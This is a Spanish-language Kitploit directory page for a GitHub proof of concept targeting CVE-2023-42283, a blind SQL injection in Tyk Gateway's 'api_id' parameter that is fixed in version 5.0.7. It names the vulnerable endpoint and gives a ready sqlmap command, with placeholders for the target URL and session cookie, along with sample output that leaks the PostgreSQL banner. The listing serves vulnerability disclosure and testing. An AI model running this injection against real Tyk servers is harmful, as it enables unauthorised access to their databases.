Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-42283 — Prueba de concepto para CVE-2023-42283 en Tyk Gateway | Kitploit
Herramientas/GitHubGitHub/andreysanyuk/cve-2023-42283
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubandreysanyuk/cve-2023-42283

CVE-2023-42283

Prueba de concepto para CVE-2023-42283 en Tyk Gateway

Ver Repositorio
1hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Aviso legal

Solo con fines educativos.

Detalles

Prueba de concepto para CVE-2023-42283. Tyk Gateway es vulnerable a inyección SQL. Corregido en la versión 5.0.7.

El parámetro de URL ‘api_id’ de "https://<YOUR_URL>/api/errors/count/...?res=day&p=...&api_version=...&api_id=<PAYLOAD_HERE>"es vulnerable a inyección SQL ciega.

Explotación

Use sqlmap con los siguientes parámetros:

root@kitploit:~
python.exe .\sqlmap.py -u "https://<INSERT YOUR URL>/api/errors/count/11/8/2022/13/1/2022?res=day&p=-1&api_version=Non%20Versioned&api_id=1" -p "api_id" --cookie="<INSERT COOKIE HERE>" --banner

El banner de la base de datos SQL se devuelve en la respuesta:

root@kitploit:~
...
banner: Postgresql 13.01 on x86_64-pc-linux-gnu
...
Descargar herramienta